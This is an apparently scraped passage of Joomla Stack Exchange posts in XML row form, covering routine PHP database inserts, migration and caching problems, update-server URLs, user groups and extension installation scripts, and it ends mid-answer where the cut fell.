  <row Id="14113" PostTypeId="2" ParentId="14102" CreationDate="2015-10-29T06:09:37.430" Score="5" Body="&lt;p&gt;I have resolved the issue. Following is my complete code for the query execution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$arr =  array('ARI','ATL' );&#xA;$columns = array('col1','col2','col3');&#xA;$db = JFactory::getDbo();&#xA;foreach ($arr as $key =&amp;gt; $value) &#xA;{&#xA;$values = array($val1,$val2,$val3);&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;insert($db-&amp;gt;quoteName('#__tbname'))&#xA;      -&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;      -&amp;gt;values(implode(',', $db-&amp;gt;quote($values)));&#xA;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;query();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The implode function needs to be added as the &lt;code&gt;$values&lt;/code&gt; is an array and &lt;code&gt;$db-&amp;gt;quote($values)&lt;/code&gt; is necessary because it will provide quotes to the values. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you everyone for your answers and guidance&lt;/p&gt;&#xA;" OwnerDisplayName="user5491" LastEditorUserId="3637" LastEditDate="2015-10-29T07:22:17.143" LastActivityDate="2015-10-29T07:22:17.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14114" PostTypeId="1" AcceptedAnswerId="14119" CreationDate="2015-10-29T06:44:06.570" Score="2" ViewCount="104" Body="&lt;p&gt;After migrating to a new host the site isn't quite right yet. When I look at the various files that should be loaded I noticed that the domain name was being repeated by Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://domain.com/domain.com/domain.com/media/jui/js/bootstrap.min.js&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/domain.com/domain.com/media/jui/js/bootstrap.min.js&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What has gone wrong causing that repeat of the domain name?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mat&lt;/p&gt;&#xA;" OwnerUserId="1799" LastEditorUserId="126" LastEditDate="2015-10-29T09:58:19.173" LastActivityDate="2015-10-29T09:58:19.173" Title="Repeating domain name in urls of the assets files after moving host" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14115" PostTypeId="2" ParentId="371" CreationDate="2015-10-29T07:19:31.847" Score="2" Body="&lt;p&gt;There is no method to add a script to the footer right now. However you could make a plugin that gets the output, searches for an appropriately named tag, like footer and use str_replace to add in your code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can use these extensions achieve that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/performance/scriptsdown&quot; rel=&quot;nofollow&quot;&gt;ScriptsDown&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/performance/jch-optimize&quot; rel=&quot;nofollow&quot;&gt;JCH&#xA;Optimize&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Also i found one method. I prefer not to hack the core code, but that's the best I can come up with at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please check this link - &lt;a href=&quot;https://github.com/rishiv3/joomla-adding-javascript-file-in-the-footer&quot; rel=&quot;nofollow&quot;&gt;Javascript files includes in footer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I Hope it will help others :)&lt;/p&gt;&#xA;" OwnerUserId="3637" LastActivityDate="2015-10-29T07:19:31.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14116" PostTypeId="1" AcceptedAnswerId="14498" CreationDate="2015-10-29T07:23:56.323" Score="2" ViewCount="1096" Body="&lt;p&gt;Can any one suggest how I can call the Users default controller's methods, like activate or any other, that I have created in User controller of Admin site with argument?&lt;/p&gt;&#xA;" OwnerUserId="7177" LastEditorUserId="126" LastEditDate="2015-10-29T09:57:14.190" LastActivityDate="2016-02-29T00:50:27.203" Title="How to call Users controller's method from any custom component with argument?" Tags="|joomla-3.x|php|mvc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14118" PostTypeId="2" ParentId="14102" CreationDate="2015-10-29T09:30:16.123" Score="1" Body="&lt;p&gt;An Table with 100 cols, should not be handled by hand.In most cases is something forgotten. On Changes you have heavy task to find in code the Positions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically us the JForm with the correct Data-Definition (validation) and an JTable object that is connected with the table .. it prevents from a lot of errors ;-)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php   &#xA;/** Example peace to get the Correct Columns**/&#xA;// Make sure, you have correct reflected and represented table columns&#xA;$existingColumns = array();&#xA;$table           = JTable::getInstance('TableFileName', 'Prefix');&#xA;$table-&amp;gt;reset()&#xA;if ($table instanceof JTable) {&#xA;    $existingColumns = array_keys($table-&amp;gt;getFields());&#xA;}&#xA;// we only want use this columns&#xA;$wantedColumns = array('col1', 'col2', 'col3');&#xA;/**&#xA; * Working with checked and save existing columns&#xA; **/&#xA;$arr = array('ARI', 'ATL');&#xA;// try this&#xA;$columns = $existingColumns;//array('col1', 'col2', 'col3');&#xA;// or this&#xA;$selectiveColumns = array();&#xA;foreach ($wantedColumns as $idx =&amp;gt; $columnName) {&#xA;    if (in_array($columnName, $existingColumns, true)) {&#xA;        $selectiveColumns[] = $columnName;&#xA;    }&#xA;}&#xA;&#xA;$db = JFactory::getDbo();&#xA;foreach ($arr as $key =&amp;gt; $value) {&#xA;&#xA;    $values = array($val1, $val2, $val3);&#xA;&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;    $query-&amp;gt;insert($db-&amp;gt;quoteName('#__tbname'))&#xA;          -&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;        // or selective checked Columns&#xA;        //  -&amp;gt;columns($db-&amp;gt;quoteName($selectiveColumns))&#xA;          -&amp;gt;values(implode(',', $db-&amp;gt;quote($values)));&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    try {&#xA;        $db-&amp;gt;execute();&#xA;    } catch (Exception $e) {&#xA;        // for testing purposes let us know what happends&#xA;        var_dump($e-&amp;gt;getMessage());&#xA;    }&#xA;}&#xA;&#xA;// Alternate you can use save the JTable as it self&#xA;// generic data&#xA;$dataStack =&#xA;    array(&#xA;    array('col1' =&amp;gt; 'data'),&#xA;    array('col1' =&amp;gt; 'dataX'),&#xA;    array('col1' =&amp;gt; 'dataY'));&#xA;&#xA;$table = JTable::getInstance('TableFileName', 'Prefix');&#xA;&#xA;foreach ($dataStack as $data) {&#xA;    $table-&amp;gt;reset();&#xA;    $table-&amp;gt;bind($data);&#xA;    $table-&amp;gt;store();&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5594" LastActivityDate="2015-10-29T09:30:16.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14119" PostTypeId="2" ParentId="14114" CreationDate="2015-10-29T09:55:10.370" Score="2" Body="&lt;p&gt;If you have an .htaccess file, disable it - you can rename it to htaccess.txt- and see if it fixes the issue.&lt;br&gt;&#xA;You might also have to disable url rewrite in Global configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And clear Joomla cache.&lt;br&gt;&#xA;If you cloned the full directory of the old hosting account, then most likely you moved over also old-cached files.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-10-29T09:55:10.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14120" PostTypeId="2" ParentId="14100" CreationDate="2015-10-29T10:02:22.950" Score="1" Body="&lt;p&gt;Clearing the cache on your web browser usually fixes this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearing the Joomla cache at the same time is probably worthwhile too.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2015-10-29T10:02:22.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14121" PostTypeId="2" ParentId="14100" CreationDate="2015-10-29T10:34:05.077" Score="2" Body="&lt;p&gt;If clearing browser and Joomla cache won't solve your issue - a first thing to do is to check if Debug and Error Reporting are On and set it to off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen javascript issues with the toolbar buttons many times, when debugging is On.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is not the case for you: Then enable again error reporting to max and see if any errors are appearing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open Browser Console and check for Javascript Errors, while you are trying to operate and click these buttons. Also check for broken links to css/js files (it's possible they still link to the old location).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that it's possible there are cached files on server level (e.g. goDaddy use apc cache and such changes take time to reflect, as your php files may still link to the old (subfolder) location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the end, make sure that you have moved all files.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-10-29T14:47:28.253" LastActivityDate="2015-10-29T14:47:28.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14122" PostTypeId="1" CreationDate="2015-10-29T13:42:34.427" Score="0" ViewCount="575" Body="&lt;p&gt;There is this content builder:&#xA;&lt;a href=&quot;http://innovastudio.com/builderdemo/example1.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://innovastudio.com/builderdemo/example1.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am working on a plugin for FLEXIcontent to implement it. I'm trying to call the media modal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the javascript of a contentbuilder plugin in J3.4.5 - it requires the hardcoded URL of the media manager eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;imageselect: images.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now - I have tried to access the image media with: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;imageselect: &quot;&amp;lt;?php echo $base; ?&amp;gt;administrator/index.php?option=com_media&amp;amp;view=images&amp;amp;tmpl=component&amp;amp;e_name=imageurl&amp;amp;return_url=1&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This creates a popup that shows the media manager - and I am able to upload the image. However I get a js error when I select the image to insert:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught TypeError: window.parent.jInsertEditorText is not a function in popup-imagemanager.js:136 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8BvoS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8BvoS.png&quot; alt=&quot;Problem&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I need to do to resolve this?&lt;/p&gt;&#xA;" OwnerUserId="3485" LastEditorUserId="3485" LastEditDate="2015-10-29T14:40:32.710" LastActivityDate="2019-09-09T02:33:36.190" Title="Media Manager js Error - custom plugin" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14123" PostTypeId="2" ParentId="14122" CreationDate="2015-10-29T14:35:28.930" Score="1" Body="&lt;p&gt;The error message is clear: The jInsertEditorText javascript function is not available in the parent window (= the page from where you call the popup). This seems - guessing from the name - to be the function that is responsible from getting your selected image from the popup into your editor(?). Without further information (e.g. what is &quot;a contentbuilder plugin&quot; or what do you even want to achieve) I can only advise you to make sure that function is included. &lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-10-29T14:35:28.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14124" PostTypeId="1" AcceptedAnswerId="14126" CreationDate="2015-10-29T17:06:49.087" Score="1" ViewCount="1812" Body="&lt;p&gt;Is it possible to have a custom download url in the Joomla update server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The help page says&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;downloadurl type=&quot;full&quot; format=&quot;zip&quot;&amp;gt;http://website.com/component.zip&amp;lt;/downloadurl&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I am thinking of having something like below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;downloadurl type=&quot;full&quot; format=&quot;zip&quot;&amp;gt;http://website.com/component.php?downloadkey&amp;lt;/downloadurl&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2015-10-29T19:29:27.583" Title="Joomla update server with custom download url" Tags="|joomla-3.x|custom-component|one-click-updates|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14125" PostTypeId="2" ParentId="14060" CreationDate="2015-10-29T17:24:08.197" Score="2" Body="&lt;p&gt;First of all this sounds very weird. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When opening the page in two browsers, Joomla should generate two different session ids (check the cookies that Joomla generates, they should be different!). This is because of the user agent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the token is generated, it is basically saved in the session and the next time you call getFormToken() on the Session object, you get back the same object This indicates somehow that Joomla is using the same session!? But later fails to validate the same token?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try getFormToken(true) to force the generation of a new token - just for testing purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the amount of technical details you shared, these are the best ideas that I can think about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider testing your module from a different machine, try incognito modes on your browser or share an example on github. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-10-29T17:24:08.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14126" PostTypeId="2" ParentId="14124" CreationDate="2015-10-29T19:29:27.583" Score="1" Body="&lt;p&gt;I don't see any reason why it shouldn't work. &lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-release-system.html&quot; rel=&quot;nofollow&quot;&gt;Akeeba Release System&lt;/a&gt; (built for software distribution, mainly Joomla) uses URLs like this, and it works for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;downloadurl type=&quot;full&quot; format=&quot;zip&quot;&amp;gt;&#xA;      http://example.com/component/ars/?view=download&amp;amp;id=13&amp;amp;dummy=my.zip&#xA;   &amp;lt;/downloadurl&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But...&lt;/strong&gt;&lt;br&gt;&#xA;I read somewhere that Joomla requires a file extension (&lt;code&gt;.zip&lt;/code&gt;) for the url to work properly. I can't find the source right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ARS solves this nicely by adding an additional parameter at the end: &lt;code&gt;&amp;amp;dummy=my.zip&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-10-29T19:29:27.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14128" PostTypeId="1" AcceptedAnswerId="14129" CreationDate="2015-10-30T06:12:34.370" Score="0" ViewCount="129" Body="&lt;p&gt;I'm very new to Joomla and PHP, however I'm attempting to echo the logged in users assigned groups (group id 58-62, 72). A user can only be in one of those groups at any point and time. Below is the code I'm using. It doesn't display any errors, and echos the first line, but no echo based off groupid. Also, the print_r doesn't return any data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any guidance on what I'm certain is a silly mistake on my part would be appreciated. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$groups = $user-&amp;gt;get('groups');&#xA;print_r($groups);&#xA;if($groups) {&#xA;    echo &quot;Echo user Group Name : &quot;;&#xA;    if (isset($groups[62])) echo &quot; - Group 62 &amp;lt;Br/&amp;gt;&quot;;&#xA;    if (isset($groups[61])) echo &quot; - Group 61 text &amp;lt;Br/&amp;gt;&quot;;&#xA;    if (isset($groups[60])) echo &quot; - Group 60 text &amp;lt;Br/&amp;gt;&quot;;&#xA;}else{&#xA;    echo 'Not logged in&amp;lt;Br/&amp;gt;';&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7182" LastEditorUserId="154" LastEditDate="2015-10-30T10:02:51.303" LastActivityDate="2015-10-30T10:02:51.303" Title="Echo Joomla 3.4 GroupId" Tags="|php|joomla-3.4|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14129" PostTypeId="2" ParentId="14128" CreationDate="2015-10-30T06:38:00.280" Score="4" Body="&lt;p&gt;I guess you first have created the user object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the &lt;code&gt;$user-&amp;gt;group&lt;/code&gt; is an array, not an object, and it will contain all the usergroups a user belongs.&#xA;Therefore the &lt;code&gt;$group-&amp;gt;id&lt;/code&gt; is wrong (enable error reporting so you can see any errors).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do a &lt;code&gt;print_r($user-&amp;gt;group)&lt;/code&gt;, so you will be able to see the full array and its key/values, and decide what you want to do later with your logic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that all users (even guests) will belong to a user-group, so a groups will always exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could check against your desired usergroups with something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (in_array(62, $groups)) {// do something here}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you can always loop through an array :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($groups as $group) : ?&amp;gt;&#xA; // do something&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-10-30T06:38:00.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14133" PostTypeId="1" AcceptedAnswerId="15458" CreationDate="2015-10-30T22:22:42.133" Score="1" ViewCount="330" Body="&lt;p&gt;I'm trying to use &lt;strong&gt;Bootstrap Tabs&lt;/strong&gt; and I'm trying to &lt;strong&gt;load a moduleposition in each tab&lt;/strong&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The module positions work when not in tabs, but when in tabs the first and last tabs work, but the others only load things which are not loadposition.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remove the last tab, only the first one works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no errors in the console. &lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2016-03-01T12:50:46.097" Title="Loading module positions in bootstrap tabs doesn't work" Tags="|joomla-3.x|bootstrap|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14134" PostTypeId="1" AcceptedAnswerId="14136" CreationDate="2015-10-30T23:10:10.167" Score="4" ViewCount="243" Body="&lt;p&gt;Frontend:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My intended goal would be the look and functionality of i.e. google image search (masonry style) or tumblr's archive thumbnail-view or flickr. If you click on a thumbnail you'd get a responsive lightbox with swipe functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Backend:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can you manage large amounts of images in the backend of joomla?&#xA;I've researched and tested extensions like phoca, but all of them seem to be best used as smaller photo galleries where a beginner can, just with a few clicks, create his family album.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest I've come was  &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/photos-a-images/galleries/event-gallery&quot; rel=&quot;nofollow&quot;&gt;Event Gallery&lt;/a&gt; but on the backend it was more about orders and selling pictures, less about management.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tl;dr&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;primarily for Mobile Users (responsive, swiping)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;100.000 images +&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;ease to use backend file manager or bulk categorizing options&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;image rating by guests&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Can be paid up, to ~50$ (no subscriptions)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Images should be hosted on my server, not google+ or picasa&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help :)&lt;/p&gt;&#xA;" OwnerUserId="7191" LastEditorUserId="126" LastEditDate="2015-10-31T19:01:26.877" LastActivityDate="2015-10-31T19:01:26.877" Title="Can Joomla be used as a photo gallery for large amounts of images?" Tags="|images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14136" PostTypeId="2" ParentId="14134" CreationDate="2015-10-31T11:31:41.360" Score="6" Body="&lt;p&gt;When you choose a CMS, you are usually best picking the one which has the most features you need out-of-the-box.  The rest you will have to build for yourself (unless an extension does exactly what you need, which is unlikely, or you are happy settling for second best).  This requires knowing PHP in the case of Joomla (and, indeed, most open source ones).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the plus side for your requirements, Joomla does have strong user management, and a nice framework for building extensions with different views.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it doesn't have much image handling - things like resizing are not core features.  It also doesn't have any shop functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are open-source photo gallery CMSs out there (first on Google was &lt;a href=&quot;http://piwigo.org/&quot;&gt;http://piwigo.org/&lt;/a&gt; - but there are more) , these may be closer to what you want and need less extensions, but are likely to have less technical support and tutorials than the major CMSs like Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your specific question - yes, it can technically be used as a photo gallery, though any open-source CMS can be extended for that purpose as they are just PHP at the end of the day.  I'd personally use it, as I like and know the framework. However, there would be quite a bit of additional coding required.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2015-10-31T11:31:41.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14137" PostTypeId="2" ParentId="7351" CreationDate="2015-10-31T11:52:36.770" Score="1" Body="&lt;p&gt;As other people have said, it will depend on your theme.  The only guide with images is that they shouldn't be larger or smaller than the largest size they appear on the site, as stretching images causes pixellation and shrinking images means users are downloading more data than they need to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we look at LinkedIn specifically, users can upload any size images to their site, and so LinkedIn need to decide how to handle that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They display images at 698x400px, and also at a smaller thumbnail size which keeps the same scale.  If someone uploads a different scale image, they will then need to crop it programatically.  From a user's perspective, a cropped image won't look as good. This is the reason why people recommend uploading to LinkedIn at 698x400px - what you upload will then be what you see.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2015-10-31T11:52:36.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14138" PostTypeId="1" AcceptedAnswerId="14158" CreationDate="2015-10-31T16:29:09.383" Score="2" ViewCount="88" Body="&lt;p&gt;I would like to use JLog on different files in my component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment I'm adding this to my &lt;code&gt;__contruct&lt;/code&gt; method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLog::addLogger( array( 'text_file' =&amp;gt; 'com_bestia.log.php' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But is it possible to add this only once to one file and use it on different other files?&lt;/p&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2015-11-02T10:32:53.103" Title="Log - add to every file?" Tags="|joomla-3.x|development|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14139" PostTypeId="1" CreationDate="2015-10-31T17:18:57.743" Score="2" ViewCount="942" Body="&lt;p&gt;I have just setup a joomla 3 site on &lt;code&gt;demojoomla.com&lt;/code&gt;. I have managed to upload a template but I have not been able to upload any extensions (JCE or Akeeba).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to enable Install fromm web I get an error &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can't connect to the Joomla! server. Please try again later.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If I try to upload the extension then either there is no response (just hangs) or there is a fairly quick Request timeout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does demojoomla.com not allow extensions (haven't found any info) ?&lt;/p&gt;&#xA;" OwnerUserId="7193" LastActivityDate="2015-10-31T18:17:36.893" Title="Cannot enable 'Install from web' and cannot upload extension manually" Tags="|joomla-3.x|extensions|file-upload|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14140" PostTypeId="2" ParentId="14139" CreationDate="2015-10-31T18:17:36.893" Score="2" Body="&lt;p&gt;Seems to be an ssl/https problem. Simply changed https to http in the url and then I was able to enable the Install from web feature.&lt;/p&gt;&#xA;" OwnerUserId="7193" LastActivityDate="2015-10-31T18:17:36.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14141" PostTypeId="1" AcceptedAnswerId="14143" CreationDate="2015-10-31T22:18:24.377" Score="2" ViewCount="184" Body="&lt;p&gt;Can you tell me how I can create a patch with some changes (for database manipulations) for my customer, so that he can install this patch via extension manager, and the installer of this kind of extensions does the manipulations?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know we can create components, plugins and modules. But can we create patches?&lt;/p&gt;&#xA;" OwnerUserId="5665" LastEditorUserId="5665" LastEditDate="2015-10-31T22:27:57.273" LastActivityDate="2015-11-01T03:18:21.837" Title="How to create a patch with custom changes?" Tags="|extensions|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14142" PostTypeId="2" ParentId="14141" CreationDate="2015-11-01T02:33:04.293" Score="2" Body="&lt;p&gt;Will give this a shot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Joomla, there is no possible way to install &quot;patches&quot;. The only files that can be installed though Joomla's extension manager are extensions, such as components, module, plugins etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what you could do is, create a blank module and install it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in the XML file for your module, add the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;update&amp;gt; &#xA;    &amp;lt;schemas&amp;gt;&#xA;        &amp;lt;schemapath type=&quot;mysql&quot;&amp;gt;sql/mysql/updates&amp;lt;/schemapath&amp;gt; &#xA;    &amp;lt;/schemas&amp;gt; &#xA;&amp;lt;/update&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, inside your module, you will need to create the directory tree:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sql/mysql/updates&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside the &lt;code&gt;updates&lt;/code&gt; directory, you'll need to create an SQL file each time you want install an update. Make sure the name of the SQL file is the same as the update version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/updates&#xA;   1.0.0.sql&#xA;   1.0.1.sql&#xA;   1.0.2.sql&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-11-01T02:33:04.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14143" PostTypeId="2" ParentId="14141" CreationDate="2015-11-01T03:18:21.837" Score="3" Body="&lt;p&gt;You can try using an installation script, described quite well in the &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_simple_module/Adding_an_install-uninstall-update_script_file&quot; rel=&quot;nofollow&quot;&gt;Joomla Documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It consists in using a php script file containing a class using five methods:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;preflight which is executed before install and update&lt;/li&gt;&#xA;  &lt;li&gt;install&lt;/li&gt;&#xA;  &lt;li&gt;update&lt;/li&gt;&#xA;  &lt;li&gt;uninstall&lt;/li&gt;&#xA;  &lt;li&gt;postflight which is executed after install and update&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Create an empty module or plugin, and call the script in your &lt;code&gt;.xml&lt;/code&gt; 